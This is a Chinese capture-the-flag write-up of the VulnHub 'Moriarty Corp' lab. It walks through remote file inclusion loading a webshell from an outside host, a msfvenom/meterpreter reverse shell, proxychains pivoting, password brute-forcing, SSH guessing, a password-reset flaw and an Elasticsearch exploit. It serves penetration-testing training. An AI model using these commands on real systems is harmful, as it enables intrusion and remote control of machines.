Moriarty Corp靶场攻略

点击上方“蓝字”关注公众号获取最新信息!

本文作者:a-running-snail(贝塔安全实验室)

Moriarty Corp靶场环境包含一台外网服务器和三台内网主机,攻击者需先对外网服务器进行web攻击,依据提交flag后的提示信息,逐步获取内网主机权限。本次靶场环境包含以下10个关键部分:

  • 靶场环境

  • 暴力破解

  • 主机发现

  • 文件上传

  • 文件包含

  • SSH弱口令

  • payload反弹

  • 任意密码修改

  • 添加代理

  • 远程代码执行

  • 内网探测

  • 个人总结

1.  靶场环境

本次所使用的攻击机为kalilinux系统,攻击过程中涉及到的工具主要有:公网主机VPS,中国菜刀/中国蚂剑,burpsuite,msf,MobaXterm,一句话木马,proxychains,nmap,searchsploit,exp脚本等。攻击的拓扑结构如下图所示。

Moriarty Corp靶场攻略_第1张图片

注意: 外网服务器(8000端口)为提交flag以及攻击提示处,并不存在漏洞,请不要进行攻击行为。Flag的存储格式为#_flag.txt,通常存储在服务器的不同目录下面。每次提交flag后都会给相关提示和说明。开始渗透之前须向外网服务器(8000端口)提交flag{start},表示攻击开始正常启动。本次实验的虚拟机采用virtual box.

详细靶场说明请参考:

https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/

靶场下载地址:

Download (Mirror):

https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova

Download (Torrent):

 https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent

2.  主机发现

通过arp(地址解析协议)进行局域网内主机发现,arp是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。

>>> namp -sn -PR -T 4192.168.124.0/24

    -sn:只进行主机发现,不进行端口扫描。

    -PR:ARP Ping。

    -T:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。

Moriarty Corp靶场攻略_第2张图片

3.  文件包含

通过访问页面http://IP/file=name.html,可猜测为目录遍历或者文件包含漏洞,如下为漏洞验证结果。

Moriarty Corp靶场攻略_第3张图片

文件包含漏洞,通常分为本地文件包含和远程文件包含。本地文件包含,通常需要能够写入webshell的文件进行包含,进而获取shell权限。远程文件包含,可对远程写入webshell的文件进行包含,获取shell权限。如下为远程服务器test.txt文件写入phpinfo();

Moriarty Corp靶场攻略_第4张图片

访问页面对远程主机的test.txt文件进行包含,验证远程文件漏洞真实存在。这样可以在远程服务器写入webshell进行包含,进而获取Moriarty Corp服务器的主机shell权限。

Moriarty Corp靶场攻略_第5张图片

如下所示,通过菜刀直接连接后,可以获取到shell权限。通过查看目录,在根目录查看到1_flag.txt。

木马文件链接地址:http://192.168.124.14/?file=http://xx.xx.xx.xx/snail.txt

Moriarty Corp靶场攻略_第6张图片

Moriarty Corp靶场攻略_第7张图片

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示内网环境中存在重要的网站,里面存在要获取的flag信息,并且告知内网范围在172.17.0.3-254段。由此,开始步入后渗透攻击阶段,由于靶场环境主要以linux系统环境为主,故此处后渗透工具在此处选择metasploit工具为主。

Moriarty Corp靶场攻略_第8张图片

4.Payload反弹

攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):

>>> useexploit/multi/handler
>>> set payloadslinux/x64/meterpreter_reverse_tcp
>>> set LHOST192.168.124.15        #监听主机ip地址
>>> set PORT 9999                  #监听主机端口号
>>>exploit -j


Moriarty Corp靶场攻略_第9张图片

生成反弹需要的payload文件:

>>> msfvenom -plinux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

 

将生成的文件上传到目标主机,并更改payload可执行权限,并执行。

>>> chmod 777 shell.elf
>>> ./shell.elf

Moriarty Corp靶场攻略_第10张图片

Moriarty Corp靶场攻略_第11张图片

在攻击端,监听的主机收到目标主机反弹的shell权限,如下图所示:

Moriarty Corp靶场攻略_第12张图片

5.  添加代理

根据提交flag后系统反馈的提示说明,需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。

Moriarty Corp靶场攻略_第13张图片

执行指令添加路由操作。

>>>run autoroute -s 172.17.0.0/24

Moriarty Corp靶场攻略_第14张图片

添加socks5代理:

>>>use auxiliary/server/socks5
>>>run

Moriarty Corp靶场攻略_第15张图片

此处应用proxychains工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。

---  snippet ---
[ProxyList]
#  add proxy here ...
#  meanwile
#  defaults set to "tor"
socks5  127.0.0.1 1080


6. 内网探测

通过执行代理工具proxychains,对Moriarty Corp内网web服务进行探测,可以发现主机ip地址为172.17.0.4。执行指令如下所示:

>>>Proxychains nmap 172.17.0.0/24 -sV  -sT  -Pn  -T4 -p80

Moriarty Corp靶场攻略_第16张图片

7.暴力破解

此时通过浏览器是不能访问到内网服务器,需要在浏览器配置代理进行访问,配置代理类型选择socks5,本地端口为1080。配置好以后,就能通过代理访问内网web应用了。

Moriarty Corp靶场攻略_第17张图片

通过浏览页面可发现,为一个文件上传页面,但是上传需要输入口令,方可操作成功。此时考虑可通过burpsuite进行拦截后,口令破解。

打开burpsuite后,需要添加代理,这样才能将拦截到的数据正确发送到目标服务器,配置过程如下所示:

Moriarty Corp靶场攻略_第18张图片

 

Moriarty Corp靶场攻略_第19张图片

对拦截的数据更改口令字段,添加常用字典,此处用的字为:top1000.txt。查看破解成功字段的真实口令为password。

Moriarty Corp靶场攻略_第20张图片

8.文件上传

如下图所示,成功将木马上传至服务器:

Moriarty Corp靶场攻略_第21张图片

常用的菜刀,Cknife等工具并不存在代理功能,此处使用中国蚁剑工具进行连接,配置蚁剑代理如下所示:

Moriarty Corp靶场攻略_第22张图片

 

Moriarty Corp靶场攻略_第23张图片

成功连接到内网的shell后,访问目标系统不同目录,获取第二个flag文件:2_flag.txt

Moriarty Corp靶场攻略_第24张图片

9. SSH弱口令

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,给出几个用户名和密码hash值。对内网中的ssh服务进行弱口令猜解。

Moriarty Corp靶场攻略_第25张图片

通过第三方网站,对给出的hash值进行破解,如下所示为破解的hash结果:

Moriarty Corp靶场攻略_第26张图片

对内网的22端口进行探测,发现主机172.17.0.8开放22端口,并对该内网主机进行ssh弱口令猜解。

>>>proxychains nmap -sV -t -Pn -p22 127.17.0.0/24

Moriarty Corp靶场攻略_第27张图片

通过第三方工具MobaXterm添加代理后,远程连接到内网主机,具体操作过程如下所示:

Moriarty Corp靶场攻略_第28张图片

Moriarty Corp靶场攻略_第29张图片

猜解成功后,获得当前内网主机的基本权限,访问目录后的3_flag.txt。查看并进行提交。

10. 任意用户密码修改

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示说存在一个聊天网站,管理员的聊天记录可能存在有价值的信息。并给出服务器开放端口可能在443,8000,8080,8888。

Moriarty Corp靶场攻略_第30张图片

对内网的443,8000,8080,8888端口进行探测,发现主机172.17.0.9开放8000端口,并对该内网主机web应用进行访问。

>>>proxychains nmap -sV -t -Pn -p443,8000,8080,8888 127.17.0.0/24

 

Moriarty Corp靶场攻略_第31张图片

根据提示给出的用户名和口令进行登陆,查看网站具有两个功能,可以查看chats聊天记录,可以更改用户名密码。尝试抓包,通过更改用户名为管理员,设置口令。此时如果存在任意用户名口令更改漏洞,此时就可以把管理员登陆密码从新设置。

Moriarty Corp靶场攻略_第32张图片

Moriarty Corp靶场攻略_第33张图片

更改后,便可以以管理员身份进行登陆了。通过访问chats可以查看到另外一个flag信息。

Moriarty Corp靶场攻略_第34张图片

Moriarty Corp靶场攻略_第35张图片

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,文中提到一个web应用Elasticsearch。尝试百度查询了一下,该服务默认运行在9200端口,并存在框架漏洞。

Moriarty Corp靶场攻略_第36张图片

11. 远程代码执行

对内网的9200端口进行探测,发现主机172.17.0.10开放9200端口,并对该内网主机web应用进行访问。

>>> proxychains nmap -sV  -sT  -Pn -p9200 127.17.0.0/24

Moriarty Corp靶场攻略_第37张图片

依据kali自带功能searchsploit功能进行版本漏洞搜索:

>>>searchsploit elasticsearch

Moriarty Corp靶场攻略_第38张图片

使用36337.py脚本执行远程代码执行攻击,获取shell权限

Moriarty Corp靶场攻略_第39张图片

通过查看目标主机目录,获取flag信息6_flag.txt。

Moriarty Corp靶场攻略_第40张图片

Moriarty Corp靶场攻略_第41张图片

 

12.个人总结

Moriarty Corp靶场涉及到了web攻击到内网漫游的基本环节,在每一个相关环节作者都给予了提示,漏洞利用方式较为简单。提交完漏洞结束后,就像服务器提示所说被拉入黑名单了,再次访问发现已被拉黑。

你可能感兴趣的:(Moriarty Corp靶场攻略)